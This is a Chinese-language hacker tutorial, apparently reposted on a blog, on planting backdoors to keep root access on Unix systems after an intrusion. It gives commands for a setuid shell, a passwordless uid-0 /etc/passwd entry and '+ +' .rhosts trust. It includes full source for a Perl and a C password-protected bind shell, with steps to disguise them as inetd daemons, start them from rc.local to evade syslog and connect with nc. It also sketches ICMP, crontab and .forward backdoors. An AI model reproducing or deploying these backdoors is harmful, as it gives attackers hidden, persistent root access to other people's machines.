前言:
本文之內容可以任意拷貝,傳閱。在不違背作者原始 意圖的情況下也可任意修改,但請在修改後mail給作 者一份。謝謝!
---
參考文獻:
Article: backdoor from The Infinity Concept Issue II
Src: b4b0.c by b4b0
Src: daemonsh.pl by van Hauser / [THC] in 1997'
--
千辛萬苦(or 輕而易舉)的取得root後,當然希望長久的保持. 以被以後用來。。。d0ing what u want t0 d0 :) 傳統的方法就是建立一個後門(backd00r).即使***被發現,好 的(先進)後門仍然能夠使你再次輕鬆的破門而入 -- 請記住: " we come back and we are the h.a.c.k.e.r "
--
創建後門的方法如下:
-
1. setuid
#cp /bin/sh /tmp/.backdoor
#chmod u+s /tmp/.backdoor
加上 suid 位到shell 上,最爲簡單方便,但也最爲容易被ADM 發現 find / -perm 4000 -print;同時在大多數的SUNOS 上 你會發現不能setuid。-- 適用於新手;
-
2. echo "zer9::0:0::/:/bin/csh" >> /etc/passwd 即給系統增加一個 id 爲 0(root)的帳號,無口令; 也很容易被發現。 -- 適用於新手;
-
3.echo "+ zer9">>/.rhosts
即本地的名爲 zer9 的用戶可以直接 rlogin target 無須口令此時的 zer9 就相當於口令,不知道的人是不能進去的.
前提是目標的port 512or513or514 opening.
注: 如 echo "+ +">>/.rhosts 則任何用戶都可rlogin至目標 導致目標門戶打開,最好不要;
還可 echo "+ +">>/etc/hosts.equiv 但這樣不能取得root權限;-- 適用於比新手高一點點,比中級水平低一點點的guys;
-
4.modify sendmail.cf 增加一個"wiz" 命令;
usage:
telnet target 25 [enter]
wiz[enter]
這是我從SAFEsuite中學到的(但沒試過);比較危險。因爲幾乎所有的掃描器都會刺探本漏洞。不過你可把命令本身該成其他不易猜到的名字。比較複雜,危險,但ADM不易發現,隱蔽性較強;你只在你的機器上試一試就okay了;-- 顧名思意,大師級漏洞;
-
5. crack suck as inetd,login,...
即安裝它們的特絡繹版本。你需要找到各版本unix的rootkit;然後分別編譯即可;-- 如果目標機上沒有安裝 tripwire之類的東東,那幾乎不可能被發現。linux&sunos&freebsd的可能好找,但其他的了?即使你找到了,你有對應平臺上的編譯器嗎?我有一臺運行 slackware,one running irix,one runningsunos,one running hpux,one running digits unix,...
hahhahha,我又做夢了:)
-- 我個人認爲是最好的方法,但實現起來有一定風險,你必須考慮到如果你的***運行出錯怎麼辦--因爲我們所做的一切都必須以不破壞目標機上的任何數據爲原則;
-
6.ping rem0te backd00r
即使是防火牆也很少阻止 ICMP 的通過,因此本後門可繞過防火牆。具體的程序你可在 [THC] 的主頁發現;我想到了另外一種直接用ping命令實現的可通過防火牆的方法 :一方在防火牆內,一方在防火牆外;除 ICMP 外;通向防火牆內的信息均被過濾掉 :(用 60k data 代表長,10k data 代表短;使用摩爾思編碼;(或其他自定義編碼)雙方通過 ICMPinfo 接受信息(ping 's data length);“嘀,嘀,嘀嘀,嘀,嘀嘀嘀...""長江長江,我是黃河--- 向我開炮!向我開炮”(^o^);以後有時間我會通過程序來實現驗證可行性的。(技術上應該沒有什麼難度)
-
7.rem0te shell
我最喜歡的方式。而且由於繞開了login,故用 who 無法看到--也就是說,避開了utmp&utmpx&wtmp&wtmpx;但沒有完全避開 syslogd.ADM仍可以在/var/log/messages中發現
你。不過,有一種方法可以徹底完全的旁路 syslogd!且聽下面一一道來.
bindshell的實現有兩種:
a.
替換掉 inetd.conf 中的不重要服務,如 rlogind :)在inetd 接受 connect 請求後,直接在本端口利用 system("/bin/csh -i");直接spam 出一個shell,
b. 接受 connect 後,在高端spam出一個shell;
(更安全 :)
下面我給出一個perl 實現(不需socket libary支持)(pass on sunos5.5.1&slackware 2.0.33&irix6.4&hpux10.2)和一個 gnuc 的實現(test on slackware 2.0.33&irix6.4)
---
perl 版安裝方法:
###無須編譯!!只要目標機上有perl支持就okay!
如何判斷有無perl: $/>perl [enter]
[ctrl-c]
$/>
-
如果你對 /etc/inetd.conf 中的內容不是很熟的話,下面
的方法有很大的危險性, exit(-1) please;
-
首先將源程序cut,存爲你想要替換的daemon,如in.rexecd or or in.rlogind ,in.pop2d....最好是已經被ADM關掉了,而且不太引人注目的daemon,注意,一定要是 TCP types.然後
mv /usr/sbin/in.rexecd /usr/sbin/in.rexecd.bak :))
cp in.rexecd /usr/sbin/in.rexecd
然後 ps -aux|grep inetd;kill -HUP id(by inetd);
okay! 連 /etc/inetd.conf 都不要改。重申一點:不論在任何情況下,我們都要盡最大的可能保護數據!
-
Usage: nc target (such as 512)
[enter]
ur passwd [enter]
(then u login in...:)
----Cut Here------------------------------------------
#!/usr/bin/perl
#
# BEST
# SIMPLE
# rem0te bind shell
#[perl version only tcp]
# by
# zer9[FTT]
# [email][email protected][/email]
#passed on allmost unix
#greet to:van Hauser/[THC]
# for his daemonshell.pl
#
$SHELL="/bin/csh -i";
#d3f4ult p4sswd 1s "wh04r3u" (no quote);
$PASSWORD="BifqmATb6D5so";
if ($PASSWORD) {
chop($pass=);
if (crypt($pass, $PASSWORD) ne $PASSWORD) {
exit 0;
}
exec $SHELL ;
exit 0;
}
----Cut Here--------------------------------------------
下面是一個for gnuc 的bindshell,first cut it,save as
backdoor.c ,then cc backdoor.c -o backdoor
other action just l1ke before;
Usage: (exp:binding to in.rlogind (513))
nc target 513 //spam a shell on the high port;
nc target 54321
ur passwd
(then u coming in...)
----Cut Here-------------------------------------
/*
* [ b i n d - s h e l l ]
* by
* zer9[FTT]
* [email][email protected][/email]
*test on slackware 2.0.33&irix6.4(cc)
*cc backdoor.c -o backdoor
*u c4n p01nt t0 wh1ch p0rt th3 sh3ll t0 sp4m
*c0mm4nd l1n3: backdoor [port]
*d3fault p0rt 1s: 54321
*greets to b4b0 for his b4b0.c
*m4yb3 1 c0uld s4y:
*"0k,b4b0.l1st3n c4r3fully;"
*s0rry,just a joke.
*
*/
#include
#include
#include
#include
#include
#include
#include
#define PassWord "k1n90fth3w0rld"
/* u c4n us3 crypt l1b4ry t0 sh4d0w 1t */
#define DefaultPort 54321
/* d3f4ult b1nd1ng p0rt */
int main(int argc,char **argv)
{
int s,in_s;
struct sockaddr_in server,client;
int client_len,bindport;
char recvbuf[1000];
if(argc!=2) bindport=DefaultPort;
else
bindport=atoi(argv[1]);
if((s=socket(AF_INET,SOCK_STREAM,0))<0)
{
perror("socket");
return -1;
}
bzero((char *)&server,sizeof(server));
bzero((char *)&client,sizeof(client));
bzero(recvbuf,sizeof(recvbuf));
server.sin_family=AF_INET;
server.sin_port=htons(bindport);
server.sin_addr.s_addr=INADDR_ANY;
if(bind(s,(struct sockaddr *)&server,sizeof(server))<0)
{
perror("bind");
return -1;
}
if(listen(s,3)!=0)
{
perror("listen");
return -1;
}
client_len=sizeof(client);
if((in_s=accept(s,(struct sockaddr *)&client,&client_len))<0)
{
perror("accept");
return -1;
}
recv(in_s,recvbuf,sizeof(recvbuf),0);
sleep(1);
if((strlen(recvbuf)-1)==strlen(PassWord))
if(!strncmp(recvbuf,PassWord,strlen(PassWord)))
{
send(in_s,"0k4y! c0m1ng 1n...\n",25,0);
close(0);close(1);close(2);
dup2(in_s,0);dup2(in_s,1);dup2(in_s,2);
execl("/bin/csh","/bin/csh",(char *)0);
}
close(s);
close(in_s);
return 0;
}
----Cut Here-------------------------------------------------
用上面的方法都不能完全的避開syslogd,因爲他們都是由inetd 啓動的,inetd啓動它們的同時已經進行log 了;旁路掉inetd就能完全避開syslog!方法很簡單,只要直接在命令行直接啓動例程2(c)就可以了,(1perl不行);不過這樣很麻煩;一旦ADM關掉計算機就玩完了;比較好的方法是在 /etc/rc.d/rc.local中加入:
backdoor &
但即使這樣作了,每次用過後還要再起動一次;更好的方法是寫一個具有完全功能(後門功能^o^)的daemon,徹底的解決這個問題;但這樣做與hack inetd 那樣更有效率(安全)了?
--
8.第八種武器就是 crontab
我只知道原理,沒實踐過.每到一定時間就往 /etc/passwd 中加入一條uid爲0(root)
的用戶;時間一道就delete ,或創建suid's shell...在序言中提到的文章中有詳細介紹;
--
9.有沒有想過只要向系統的一個用戶發一個email,OS 就會spam出一個shell?利用用戶的home目錄下的 .forward 可作到這一點。
--
10。修改內核--超級高手的做法;2.2.0的解壓文件達到了50幾MB,看到就頭痛。接着就 jmp ffff0 :) (不是看到內容,而是看到大小);[THC]最近出了篇文章關於這個的。你對自己有信心的話可以看看;
--
11.還有就是利用 overflow 程序,雖然我們一般是利用它取得root;但只要 ADM && u 沒有 patch ,始終我們可以利用它的,與suid不同的是它不怕被 find / -perm 4000 發現;一般只有 tripwire可發現。
---------
我所知道的方法全部坦白完了,如果你知道更好更酷的(or 更差更復雜),請與我交流。謝謝!
如何創建後門
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章
Linux基本操作命令
wbzjacky
2019-02-24 13:12:38
真實的模擬***綜合實驗
wbzjacky
2019-02-24 13:12:37
三層交換機的HSRP、vlan、端口聚合
wbzjacky
2019-02-24 13:12:37
如果同事暗中傷害你,應該怎麼辦?
這個饅頭有餡
2019-02-24 13:59:08
職場中,抱怨越多的員工,越被領導瞧不起!
這個饅頭有餡
2019-02-24 13:59:08
老程序員被裁,應屆生卻能月薪 1.3 萬?這你能忍?
前端高達
2019-02-24 13:48:04
遇到到處蹭吃卻從不請客吃飯的主怎麼辦?
樑軍年
2019-02-24 13:26:35
高標準機房綜合配線安裝
wbzjacky
2019-02-24 13:12:38
IPsec ***實驗
wbzjacky
2019-02-24 13:12:37
CISCO路由AAA的Easy ***
wbzjacky
2019-02-24 13:12:37
CISCO訪問控制列表 企業網絡管理的必殺技
wbzjacky
2019-02-24 13:12:37